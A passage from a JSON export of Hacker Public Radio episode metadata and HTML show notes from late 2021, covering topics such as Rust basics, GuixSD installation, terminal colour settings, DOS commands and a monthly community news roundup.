                                                              • The name of the disease caused by SARS-CoV-2 is COVID-19. The letters COVID define it as a coronavirus disease. The 19 part is because it was first discovered in 2019.
                                                              • \n
                                                            • \n
                                                            \n\n

                                                            Long notes

                                                            \n

                                                            Follow this link to read the detailed notes associated with this episode.

                                                            \n

                                                            Collected references:

                                                            \n
                                                              \n
                                                            1. Wikipedia article: Critical thinking:\n
                                                            2. \n
                                                            3. University of Greenwich article. What is critical thinking?:\n
                                                            4. \n
                                                            5. Wikipedia article: Experiment:\n
                                                            6. \n
                                                            7. Where does the six-foot guideline for social distancing come from?:\n
                                                            8. \n
                                                            9. Wikipedia article: Social distancing:\n
                                                            10. \n
                                                            11. How effective is a mask in preventing COVID‐19 infection?:\n
                                                            12. \n
                                                            13. Why Masks Work BETTER Than You’d Think:\n
                                                            14. \n
                                                            15. Coronavirus disease (COVID-19): Ventilation and air conditioning:\n
                                                            16. \n
                                                            17. Ventilation and air conditioning during the coronavirus (COVID-19) pandemic:\n
                                                            18. \n
                                                            19. False Perception of COVID-19’s Impact on the Homeless:\n
                                                            20. \n
                                                            21. Vitamin D3 as Potential Treatment Adjuncts for COVID-19:\n
                                                            22. \n
                                                            23. Graphic Outbreak of severe acute respiratory syndrome in Hong Kong Special Administrative Region: case report:\n
                                                            24. \n
                                                            25. Response to - Graphic Outbreak of severe acute respiratory syndrome in Hong Kong Special Administrative Region: case report:\n
                                                            26. \n
                                                            27. Childhood Vaccination and the NHS:\n
                                                            28. \n
                                                            29. COVID-19 false dichotomies and a comprehensive review of the evidence regarding public health, COVID-19 symptomatology, SARS-CoV-2 transmission, mask wearing, and reinfection:\n
                                                            30. \n
                                                            31. Coronavirus (COVID-19) vaccines side effects and safety:\n
                                                            32. \n
                                                            33. TWiV 802: \"Another epitope with Shane Crotty\":\n
                                                            34. \n
                                                            35. UK parliament discussion on 2m rule.\n
                                                            36. \n
                                                            37. Government minister retracts mask claim.\n
                                                            38. \n
                                                            39. Nature paper on masks and aerosols.\n
                                                            40. \n
                                                            41. Our World in Data.\n
                                                            42. \n
                                                            43. Nature paper on COVID-19 and T cells.\n
                                                            44. \n
                                                            45. Antibody waning and COVID-19.\n
                                                            46. \n
                                                            \n","hostid":225,"series":100,"explicit":1,"license":"CC-BY-SA","tags":"COVID-19,social distancing,masks,aerosol,Vitamin D3,body temperature,vaccines","version":0,"downloads":0,"valid":1}, {"id":3446,"date":"2021-10-18","title":"Speech To Text","duration":1378,"summary":"I talk about converting HPR audio to text and tagging","notes":"\n","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"AI,ML,scripting,audio","version":0,"downloads":0,"valid":1}, {"id":3447,"date":"2021-10-19","title":"BlacKernel's Journey Into Technology: Episode 2","duration":1249,"summary":"In which BlacKernel struggles to talk about Windows","notes":"

                                                            Talking Points

                                                            \n
                                                              \n\t
                                                            • W*ndows Power User\n\t
                                                                \n\t\t
                                                              • Programmed a few Visual BASIC programs, but was underwhelmed with how BASIC the programming language was
                                                              • \n\t\t
                                                              • Tried installing Python and Ruby to much frustration
                                                              • \n\t\t
                                                              • Tried installing Cygw*n to make Python/Ruby easier to work with
                                                              • \n\t\t
                                                              • Read on the Cygw*n site about something called Linux
                                                              • \n\t\t
                                                              • Started working with C and C++
                                                              • \n\t
                                                            • \n\t
                                                            • Customizing my deck\n\t
                                                                \n\t\t
                                                              • Tried to customize as much as I could about my W*ndows install
                                                              • \n\t\t
                                                              • Utilized tools to change the boot logo, the start menu, the init scripts, etc.
                                                              • \n\t\t
                                                              • Hit a few snags with problems boot-looping, not loading graphically, etc
                                                              • \n\t\t
                                                              • Tried editing the W*ndows registry and realized that the programs I was using to edit the operating system necessarily break the security and stability of the OS
                                                              • \n\t\t
                                                              • Didn't really know/care about open source, but was getting frustrated that I wasn't able to just reach in to my system's code to fix it.
                                                              • \n\t
                                                            • \n
                                                            \n\n
                                                            \n\n

                                                            Show Notes

                                                            \n

                                                            Important Links:

                                                            \n
                                                              \n\t
                                                            • I couldn't really find any of the stuff that I used and, at this point, I'm not super motivated to find them.
                                                            • \n
                                                            \n\n

                                                            Wikipedia Articles:

                                                            \n\n\n\n
                                                            \n\nContact Me\n\n\n","hostid":396,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"technology, windows, w*ndows, losedows, introductions, linux, dos","version":0,"downloads":0,"valid":1}, {"id":3448,"date":"2021-10-20","title":"Installing GuixSD","duration":2679,"summary":"Rho`n records installing GuixSD to an external USB drive to be run on a Mac Mini computer","notes":"

                                                            Synopsis

                                                            \n\n

                                                            In this episode Rho`n records his adventure in installing GuixSD on an external USB drive which will be run on a Mac Mini computer. After overcoming the initial difficulty of finding a keyboard that would connect wirelessly to the Mac Mini while using the Guix installer and some network difficulties, he describes the installation steps.

                                                            \n\n

                                                            Guix has a graphical text based installer. It is reminiscent of the mid to late 90s Debian installers. Even with its old school feel, the installer is very nice. It is well laid out, has good onscreen description for each step of the installation process, and provides ample configuration selections from language, to to key board layout, to desktop and software selection.

                                                            \n\n

                                                            References

                                                            \n\n\n\n

                                                            Attribution

                                                            \n\n

                                                            The transition sound used between audio clips is found on freesound.org:
                                                            \nName: Harp Transition Music Cue
                                                            \nAuthor: DanJFilms
                                                            \nLicense: Creative Commons Zero

                                                            \n","hostid":293,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Guix,GuixSD,installer,install,USB drive,Mac Mini,grub rescue","version":0,"downloads":0,"valid":1}, {"id":3449,"date":"2021-10-21","title":"Linux Inlaws S01E41: The Halloween Documents","duration":3956,"summary":"The Halloween Documents","notes":"

                                                            In this infomercial on Microsoft, our hosts discuss the infamous Halloween\ndocuments ('tis the season after all), a set of ancient scrolls dating back\nmore than twenty years and giving an overview of the behemoth's then strategy\non open source and how to possibly combat it. But fear not, ye of little faith\n:-), all is well now as the episode shows also the long way Microsoft has come\nsince then and its adoption (and giving back!) as an enterprise technology.

                                                            \n\n

                                                            Plus: How to increase your market cap by using FLOSS. And last but not least:\nThe Dark Side is back by popular demand! With a special episode on the usual\nHalloween stuff including vampires, Transylvania, politicians, QAnon, Zoom,\nTeams and other horror topics (Ever wondered what happened to Angela Merkel\nafter she stepped down as Germany's chancelorette in 2021? Then don't miss out\non this episode!).

                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Microsoft, Google, The Dark Side, Halloween, Transylvania, Carmesine-colored Soy Milk, vegan vampire","version":0,"downloads":0,"valid":1}, {"id":3450,"date":"2021-10-22","title":"Internal Commands","duration":746,"summary":"More on DOS. This time it is Internal Commands.","notes":"

                                                            This tutorial looks at DOS Internal Commands, which in some sense are analogous to shell commands in Linux. That means that the command interpreter already has these loaded and ready to go when you boot.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":117,"explicit":0,"license":"CC-BY-SA","tags":"DOS, early PC computing, Internal Commands","version":0,"downloads":0,"valid":1}, {"id":3451,"date":"2021-10-25","title":"Bricklink","duration":837,"summary":"Custom 3rd Part Lego Shops","notes":"
                                                              \n
                                                            • beware shipping prices
                                                            • \n
                                                            • always use Instant Checkout
                                                            • \n
                                                            • be sure to check USA
                                                            • \n
                                                            • 2-3x the cost of lego.com set
                                                            • \n
                                                            • paying 3-5 people via paypal ....
                                                            • \n
                                                            • no way to easy share wanted list ...
                                                            • \n
                                                            • LOST :( https://rmccurdy.com/.scripts/downloaded/CL4P-TP%20Claptrap%20Borderlands%20Bricklink.xml
                                                            • \n
                                                            • 7 missing out of 216 on one shipment
                                                            • \n
                                                            \n\n\n

                                                            Photo
                                                            \n\"Photo\"
                                                            Click the thumbnail to see the full-sized image

                                                            \n","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"lego","version":0,"downloads":0,"valid":1}, {"id":3452,"date":"2021-10-26","title":"Neuton battery test","duration":324,"summary":"Rho`n describes testing the battery in his Neuton EM 4.1 electric lawn mower","notes":"

                                                            Introduction

                                                            \n

                                                            On today's show I test whether the battery replacement for my Neuton mower is a success. This is a follow up to episode 3443. After some audio recording difficulties with the blue tooth headset I used with my phone, we hear if the replacement was successful. Before I could test the battery, I needed to replace the mower key. I think it would have been simple to just jump the terminals with a wire and maybe some alligator clips to hold the wire to the key terminals, but I was worried this would not guarantee the wire shaking loose as I moved. I looked on EBay and found a replacement key for about fifteen dollars US, and decided it was worth the cost and the wait before trying out the mower.

                                                            \n

                                                            Testing the mower

                                                            \n

                                                            After putting the key in the mower, pulling and holding the safety levers, and then pressing the start button. The mower wouldn't start. I checked the key was set properly, and saw the green LED on the handle lit and indicating that power was available. I pulled the key and battery out, and then reseated both of them, checking once again that the power indicator was lit. After some fooling around with the safety levers and start button, I realized you had to push the start button and then pull and hold the safety levers for the mower to start. The mower runs well, and the cost of the batteries and key will even out over time from the savings on not paying for a lawn service.

                                                            \n

                                                            References

                                                            \n
                                                              \n
                                                            • DR Neuton Cordless Walk Behind 14\" Lawn Mower CE2 CE3 CE5 Reset Security Key - EBay item
                                                            • \n
                                                            \n

                                                            Attribution

                                                            \n

                                                            The transition sound used between audio clips is found on freesound.org:
                                                            \nName: Harp Transition Music Cue
                                                            \nAuthor: DanJFilms
                                                            \nLicense: Creative Commons Zero

                                                            ","hostid":293,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"electric lawnmower,lawnmower,rechargeable battery","version":0,"downloads":0,"valid":1}, {"id":3453,"date":"2021-10-27","title":"Rust 101: Episode 1 - Hello, World!","duration":1348,"summary":"In which BlacKernel introduces the cargo tool and goes into detail on the rust hello world program","notes":"

                                                            Talking Points

                                                            \n
                                                              \n\t
                                                            • main.rs\n\t
                                                                \n\t\t
                                                              • Like main.cpp in C++ or main.c in C
                                                              • \n\t\t
                                                              • Tells the compiler which file to start with
                                                              • \n\t\t
                                                              • Can link to other \"crates\" and \"modules\"
                                                              • \n\t
                                                            • \n\t
                                                            • Cargo.toml\n\t
                                                                \n\t\t
                                                              • Keeps track of application metadata
                                                              • \n\t\t
                                                              • This includes dependencies!
                                                              • \n\t
                                                            • \n\t
                                                            • Functions\n\t
                                                                \n\t\t
                                                              • Strictly typed, like everything in Rust
                                                              • \n\t\t
                                                              • Declared by fn
                                                              • \n\t\t
                                                              • Argument typed with argument: Type
                                                              • \n\t\t
                                                              • Return typed with -> Type otherwise assumed to return nothing
                                                              • \n\t
                                                            • \n\t
                                                            • The Main Function\n\t
                                                                \n\t\t
                                                              • Like the main functions in C and C++
                                                              • \n\t\t
                                                              • Where the program starts within the main.rs file
                                                              • \n\t\t
                                                              • CLI arguments handled by std::env, rather than argv and argc in C
                                                              • \n\t\t
                                                              • Can return nothing or a Result<()>
                                                              • \n\t
                                                            • \n\t
                                                            • Macros\n\t
                                                                \n\t\t
                                                              • Metafunctions or functions for functions
                                                              • \n\t\t
                                                              • More general than functions, having flexibility in the number of arguments, etc, but harder to write
                                                              • \n\t
                                                            • \n\t
                                                            • The println! Macro\n\t
                                                                \n\t\t
                                                              • Can take any number of arguments that implement the display trait
                                                              • \n\t\t
                                                              • Usually things like strings or character literals
                                                              • \n\t\t
                                                              • Will format them into a string and display it on the terminal
                                                              • \n\t\t
                                                              • Similar to printf in C
                                                              • \n\t
                                                            • \n\t
                                                            • The Hello World program\n\t
                                                                \n\t\t
                                                              • Can be automagically generated with cargo new and then the name of your application
                                                              • \n\t\t
                                                              • Located in Name-Of-Application/src/main.rs
                                                              • \n\t
                                                            • \n\n
                                                            \n\n
                                                            \n\n
                                                            \nfn main() {\n  println!(\"Hello, world!\");\n}\n
                                                            \n\n
                                                            \n\n\n
                                                            \n\n

                                                            Show Notes

                                                            \n

                                                            Important Links:

                                                            \n\n\n

                                                            Wikipedia Articles:

                                                            \n\n\n
                                                            \n\nContact Me\n\n\n","hostid":396,"series":25,"explicit":1,"license":"CC-BY-SA","tags":"rust, programming, hello world, macros, functions","version":0,"downloads":0,"valid":1}, {"id":3454,"date":"2021-10-28","title":"Engineering Notation","duration":736,"summary":"Ken runs through the most common Engineering Notation used in HAM radio.","notes":"

                                                            Engineering Notation

                                                            \n

                                                            Learn this table

                                                            \n
                                                            \n giga G 109  1,000,000,000\n mega M 106      1,000,000\n kilo k 103          1,000\n                         1\nmilli m 10−3             0.001\nmicro μ 10−6             0.000,001\n nano n 10−9             0.000,000,001\n pico p 10−12            0.000,000,000,001\n
                                                            \n

                                                            Links

                                                            \n\n","hostid":30,"series":43,"explicit":0,"license":"CC-BY-SA","tags":"giga,mega,kilo,milli,micro,nano,pico,SI, International System of Units","version":0,"downloads":0,"valid":1}, {"id":3455,"date":"2021-10-29","title":"Podcast Recommendation: IBM and Quantum computing","duration":193,"summary":"Highlights of a podcast from Moore's Lobby","notes":"

                                                            Moore's Lobby

                                                            \n

                                                            Ep. 34 | The Latest from the Lab: How IBM Research Is Inventing What's Next

                                                            \n

                                                            https://www.allaboutcircuits.com/podcast/ep-34-the-latest-from-the-lab-how-ibm-research-is-inventing-whats-next

                                                            \n
                                                              \n
                                                            1. Rss feed: https://eetech.libsyn.com/rss
                                                            2. \n
                                                            3. Interview with Dr. Jeffrey Welser\n
                                                                \n
                                                              • VP of Exploratory Science at IBM Research
                                                              • \n
                                                              • IBM Release first 2nm chip this year
                                                              • \n
                                                            4. \n
                                                            5. Engineers vs Scientists and how they drive innovations
                                                            6. \n
                                                            7. Goal to replace the transistor when Moore's Law stops scaling
                                                            8. \n
                                                            9. Managing thermal loads
                                                            10. \n
                                                            11. Finding new structures and materials to control current
                                                            12. \n
                                                            13. Neural nets, image recognition and AI
                                                            14. \n
                                                            15. Quantum computing\n
                                                            16. \n
                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"podcast, moore's law, quantum computing, qubits, encryption, cryptography, NIST, Josephson junction","version":0,"downloads":0,"valid":1}, {"id":3456,"date":"2021-11-01","title":"HPR Community News for October 2021","duration":4849,"summary":"HPR Volunteers talk about shows released and comments posted in October 2021","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n hakerdefo.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3435Fri2021-10-01Hacking Stories with Reacted: part 5operat0r
                                                            3436Mon2021-10-04HPR Community News for September 2021HPR Volunteers
                                                            3437Tue2021-10-05The HTML document formatDaniel Persson
                                                            3438Wed2021-10-06Ten privacy friendly Google search alternatives.hakerdefo
                                                            3439Thu2021-10-07Linux Inlaws S01E40: The One with the BSDsmonochromec
                                                            3440Fri2021-10-08Lighten Layer ModesAhuka
                                                            3441Mon2021-10-11Murphy Work Benchoperat0r
                                                            3442Tue2021-10-12What is this thing called scienceklaatu
                                                            3443Wed2021-10-13Neuton battery replacementRho`n
                                                            3444Thu2021-10-14The Psion series 5mxNihilazo
                                                            3445Fri2021-10-15True critical thinking seems to be the keyDave Morriss
                                                            3446Mon2021-10-18Speech To Textoperat0r
                                                            3447Tue2021-10-19BlacKernel's Journey Into Technology: Episode 2BlacKernel
                                                            3448Wed2021-10-20Installing GuixSDRho`n
                                                            3449Thu2021-10-21Linux Inlaws S01E41: The Halloween Documentsmonochromec
                                                            3450Fri2021-10-22Internal CommandsAhuka
                                                            3451Mon2021-10-25Bricklinkoperat0r
                                                            3452Tue2021-10-26Neuton battery testRho`n
                                                            3453Wed2021-10-27Rust 101: Episode 1 - Hello, World!BlacKernel
                                                            3454Thu2021-10-28Engineering NotationKen Fallon
                                                            3455Fri2021-10-29Podcast Recommendation: IBM and Quantum computingArcher72
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 38 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 16 comments on\n7 previous shows:

                                                            \n
                                                              \n
                                                            • hpr2793\n(2019-04-17) \"bash coproc: the future (2009) is here\"\nby clacke.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 5:\nclacke on 2021-10-08:\n\"Real world use, thanks Dave!\"

                                                              \n
                                                            • hpr3337\n(2021-05-18) \"I like that the boat is stuck\"\nby Daniel Persson.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nWindigo on 2021-10-07:\n\"Amazing\"

                                                              \n
                                                            • hpr3414\n(2021-09-02) \"Critical Thinking may make You Critical of the Covid Crisis\"\nby CoGo.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 5:\ne8hffff on 2021-10-16:\n\"Common Sense\"
                                                              • \n
                                                              • \nComment 6:\nDave Morriss on 2021-10-30:\n\"Response to e8hffff, comment #5\"

                                                              \n
                                                            • hpr3426\n(2021-09-20) \"Rust 101: Episode 0 - What in Tarnishing?\"\nby BlacKernel.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nHonkeymagoo on 2021-10-04:\n\"another fun way to learn rust\"

                                                              \n
                                                            • hpr3431\n(2021-09-27) \"Living in the Terminal\"\nby BlacKernel.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 5:\nGumnos on 2021-10-06:\n\"Using \"c\" to pause in cmus\"

                                                              \n
                                                            • hpr3433\n(2021-09-29) \"A Squirrels thoughts about RMS\"\nby Zen_Floater2.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nBen on 2021-10-02:\n\"Yikes!\"
                                                              • \n
                                                              • \nComment 2:\narcher72 on 2021-10-03:\n\"Good call, Ken\"
                                                              • \n
                                                              • \nComment 3:\nZen_floater2 on 2021-10-05:\n\"Reply to Ben\"
                                                              • \n
                                                              • \nComment 4:\nZen_floater2 on 2021-10-05:\n\"Reply to archer72\"
                                                              • \n
                                                              • \nComment 5:\nKen Fallon on 2021-10-05:\n\"Disapointed with this show\"
                                                              • \n
                                                              • \nComment 6:\nBob on 2021-10-05:\n\"Deliberately misleading ?\"
                                                              • \n
                                                              • \nComment 7:\nZen_floater2 on 2021-10-05:\n\"Reply to Ken Fallon\"
                                                              • \n
                                                              • \nComment 8:\nBen on 2021-10-22:\n\"Reply to #4\"

                                                              \n
                                                            • hpr3434\n(2021-09-30) \"From 0 to K8s in 30 minutes\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nMr. Young on 2021-10-01:\n\"What an amazing show\"
                                                              • \n
                                                              • \nComment 2:\nMike Ray on 2021-10-01:\n\"Great show\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 22 comments on 7 of this month's shows:

                                                            \n
                                                            • hpr3436\n(2021-10-04) \"HPR Community News for September 2021\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2021-10-13:\n\"Clarification\"

                                                              \n
                                                            • hpr3438\n(2021-10-06) \"Ten privacy friendly Google search alternatives.\"\nby hakerdefo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClaudioM on 2021-10-07:\n\"Mojeek\"
                                                              • Comment 2:\nLinux4security on 2021-10-19:\n\"browser\"

                                                              \n
                                                            • hpr3439\n(2021-10-07) \"Linux Inlaws S01E40: The One with the BSDs\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClaudioM on 2021-10-07:\n\"Best of BSD!\"
                                                              • Comment 2:\nZen_floater2 on 2021-10-09:\n\"This show put me up a tree\"

                                                              \n
                                                            • hpr3442\n(2021-10-12) \"What is this thing called science\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nBrian-in-ohio on 2021-10-13:\n\"science\"
                                                              • Comment 2:\ne8hffff on 2021-10-13:\n\"Re:[HPR3442] Klaatu, CoVID, and Science\"
                                                              • Comment 3:\nkingbeowulf on 2021-10-14:\n\"scientific method selectively apply based on \"feelings\"?\"
                                                              • Comment 4:\nMad Sweeney on 2021-10-15:\n\"Hats Off to You\"
                                                              • Comment 5:\ne8hffff on 2021-10-16:\n\"The Pharmacist\"

                                                              \n
                                                            • hpr3444\n(2021-10-14) \"The Psion series 5mx\"\nby Nihilazo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nBrian-in-ohio on 2021-10-14:\n\"compliment\"
                                                              • Comment 2:\nGumnos on 2021-10-14:\n\"Looking forward to this one!\"
                                                              • Comment 3:\nCometcycle on 2021-10-15:\n\"Trip down memory lane\"
                                                              • Comment 4:\nDave Morriss on 2021-10-16:\n\"Great show!\"

                                                              \n
                                                            • hpr3445\n(2021-10-15) \"True critical thinking seems to be the key\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nironhelixx on 2021-10-13:\n\"This is the way to handle misinformation\"
                                                              • Comment 2:\nAaronb on 2021-10-15:\n\"Reasoning\"
                                                              • Comment 3:\ne8hffff on 2021-10-16:\n\"Common Sense\"
                                                              • Comment 4:\nKevin O'Brien on 2021-10-19:\n\"Bravo!\"
                                                              • Comment 5:\nBrian-in-ohio on 2021-10-20:\n\"risk\"
                                                              • Comment 6:\nDave Morriss on 2021-10-30:\n\"Response to e8hffff, comment #3\"
                                                              • Comment 7:\nDave Morriss on 2021-10-30:\n\"Response to Brian-in-ohio, comment #5\"

                                                              \n
                                                            • hpr3446\n(2021-10-18) \"Speech To Text\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\noperat0r on 2021-09-27:\n\"Example script\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-October/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Older HPR shows on archive.org

                                                            \n

                                                            This month 70 additional shows in the range 1-870 have been uploaded.

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to the following contributors for sending in updates in the past month:
                                                            \nArcher72, Rho`n

                                                            \n

                                                            Over the period tags and/or summaries have been added to 38 shows which were without them.

                                                            \n

                                                            ----------------------------------------
                                                            \nHooray! There are now no more shows that need summaries or tags!

                                                            \n

                                                            Thanks to all of the contributors to this project. According to my records the people who have helped to get to this point are listed below. Apologies if I have omitted anyone from the list:
                                                            \nAhuka
                                                            archer72
                                                            bjb
                                                            ClaudioM
                                                            crvs
                                                            Daniel Persson
                                                            Dave Morriss
                                                            Ken Fallon
                                                            Kirk Reiser
                                                            NYbill
                                                            Rho`n
                                                            Tony Hughes
                                                            Windigo

                                                            \n

                                                            ----------------------------------------
                                                            \n

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3457,"date":"2021-11-02","title":"Tables","duration":2260,"summary":"How and why I convert tables to lists","notes":"

                                                            \nMobile devices don't display them nicely.\nMost tables can be converted into a list:\n

                                                            \n\n\n \n \n \n\n\n\n\n\n\n\n\n\n
                                                            OSInitPkg
                                                            Fedorasystemddnf
                                                            SlackwareBSD-styleslackpkg
                                                            GentooOpenRCemerge
                                                            \n\n

                                                            Can be represented as a list. In YAML terms, this is a sequence of mappings.\n

                                                            \n\n
                                                            • Fedora\n
                                                              • Init system: systemd
                                                              • \n
                                                              • Package manager: dnf
                                                              • \n
                                                            • \n
                                                            • Slackware\n
                                                                \n
                                                              • Init system: BSD-style
                                                              • \n
                                                              • Package manager: slackpkg
                                                              • \n
                                                            • \n\n
                                                            • Gentoo\n
                                                                \n
                                                              • Init system: OpenRC
                                                              • \n
                                                              • Package manager: emerge
                                                              • \n
                                                            • \n
                                                            \n\n

                                                            A table doesn't always translate exactly to a list, but it probably can be restructured.

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            OSOpen sourceLanded on Mars
                                                            LinuxYesYes
                                                            BSDYesNo
                                                            macOSNoNo
                                                            \n\n

                                                            Could be written like this instead:

                                                            \n\n

                                                            Linux and BSD are open source operating systems, while macOS is not. Of these POSIX-compliant systems, only Linux has landed on Mars so far.

                                                            \n\n

                                                            That's pretty casual and loses the visual impact of a table or a list. So alternately, you could summarize what's common and highlight differences:

                                                            \n\n

                                                            \nThere are a few Linux systems on Mars.\nNeither BSD or macOS have yet landed on Mars.\n

                                                            \n\n
                                                              \n
                                                            • Linux and BSD are both open source.
                                                            • \n
                                                            • macOS is based partially on open source and includes components from the BSD, KDE, GNU, and other projects.
                                                            • \n
                                                            \n","hostid":78,"series":4,"explicit":0,"license":"CC-BY-SA","tags":"data,tables,communication","version":0,"downloads":0,"valid":1}, {"id":3458,"date":"2021-11-03","title":"Living in the Terminal 2: The Obligatory Sequel","duration":3648,"summary":"A very tired BlacKernel tries to handle feedback from the previous episode","notes":"

                                                            Talking Points

                                                            \n
                                                              \n\t
                                                            • Listener Feedback\n\t\t
                                                                \n\t\t\t
                                                              • Dave Morriss and the Markdown/HTML debacle\n\t\t\t\t
                                                                  \n\t\t\t\t\t
                                                                • Using validate_html
                                                                • \n\t\t\t\t\t
                                                                • Podcast logistics etc.
                                                                • \n\t\t\t\t
                                                                \n\t\t\t
                                                              • \n\t\t\t
                                                              • hackerdefo's suggestions\n\t\t\t\t
                                                                  \n\t\t\t\t\t
                                                                • .less_termcap:
                                                                  \n\t\t\t\t\t
                                                                  \nexport LESS_TERMCAP_mb=$(tput bold; tput setaf 2)\nexport LESS_TERMCAP_md=$(tput bold; tput setaf 6)\nexport LESS_TERMCAP_me=$(tput sgr0)\nexport LESS_TERMCAP_so=$(tput bold; tput setaf 3; tput setab 4)\nexport LESS_TERMCAP_se=$(tput rmso; tput sgr0)\nexport LESS_TERMCAP_us=$(tput smul; tput bold; tput setaf 7)\nexport LESS_TERMCAP_ue=$(tput rmul; tput sgr0)\nexport LESS_TERMCAP_mr=$(tput rev)\nexport LESS_TERMCAP_mh=$(tput dim)\nexport LESS_TERMCAP_ZN=$(tput ssubm)\nexport LESS_TERMCAP_ZV=$(tput rsubm)\nexport LESS_TERMCAP_ZO=$(tput ssupm)\nexport LESS_TERMCAP_ZW=$(tput rsupm)\n\t\t\t\t\t

                                                                  \n\t\t\t\t\t.bashrc:
                                                                  \n\t\t\t\t\t
                                                                  \nif [ -f $HOME/.less_termcap ];then\n\t. $HOME/.less_termcap\nfi\n\t\t\t\t\t
                                                                • \n\t\t\t\t\t
                                                                • poca, castero, and gpodder cli
                                                                • \n\t\t\t\t\t
                                                                • My opinion on Python and Java
                                                                • \n\t\t\t\t\t
                                                                • ProtonMail Bridge with mutt
                                                                • \n\t\t\t\t
                                                                \n\t\t\t
                                                              • \n\t\t\t
                                                              • Comments from the last episode\n\t\t\t\t
                                                                  \n\t\t\t\t\t
                                                                • (Please go to the last episode to read the full comments)
                                                                • \n\t\t\t\t\t
                                                                • NOTE: If you want a timely response, please email me or mention me on Mastodon
                                                                • \n\t\t\t\t\t
                                                                • Operat0r: Kids these days! https://www.nethack.org/
                                                                • \n\t\t\t\t\t
                                                                • Mr. Young: +1 for cnus
                                                                • \n\t\t\t\t\t
                                                                • sesamemucho: The text
                                                                • \n\t\t\t\t\t
                                                                • Dave Morriss: Very enjoyable
                                                                • \n\t\t\t\t\t
                                                                • Gumnos: Using \"c\" to pause in cmus
                                                                • \n\t\t\t\t
                                                                \n\t\t\t
                                                              • \n\t\t
                                                              \n\t
                                                            • \n\t
                                                            • New Talking Points\n\t\t
                                                                \n\t\t\t
                                                              • Here Documents\n\t\t\t\t
                                                                \ncat > text.txt <<EOF\nHello, World!\nEOF\n\t\t\t\t
                                                                \n\t\t\t
                                                              • \n\t\t\t
                                                              • NetHack
                                                              • \n\t\t
                                                              \n\t
                                                            • \n
                                                            \n\n
                                                            \n\n

                                                            Show Notes

                                                            \n

                                                            Important Links:

                                                            \n\n\n

                                                            Wikipedia Articles:

                                                            \n
                                                              \n\t
                                                            • None
                                                            • \n
                                                            \n\n
                                                            \n\nContact Me\n\n","hostid":396,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"cli, linux, terminal, applications, picks, tired","version":0,"downloads":0,"valid":1}, {"id":3459,"date":"2021-11-04","title":"Linux Inlaws S01E42: The Open Source Initiative","duration":4396,"summary":"The Open Source Initiative","notes":"

                                                            In this episode our two OAPs host Deb Nicholson, the general manager of the\nOpen Source Initiative (OSI). Apart from riveting insights into open source\nlicensing we discuss the greater FLOSS ecosystem and Deb's views on why\nwearing shoes is important in certain contexts, open source standards, law\nsuits and the differences between US and Europe among other things.

                                                            \n\n

                                                            Links:

                                                            \n\n\n

                                                            Editor's Note, 2021-12-09: TerminusDB link changed as requested

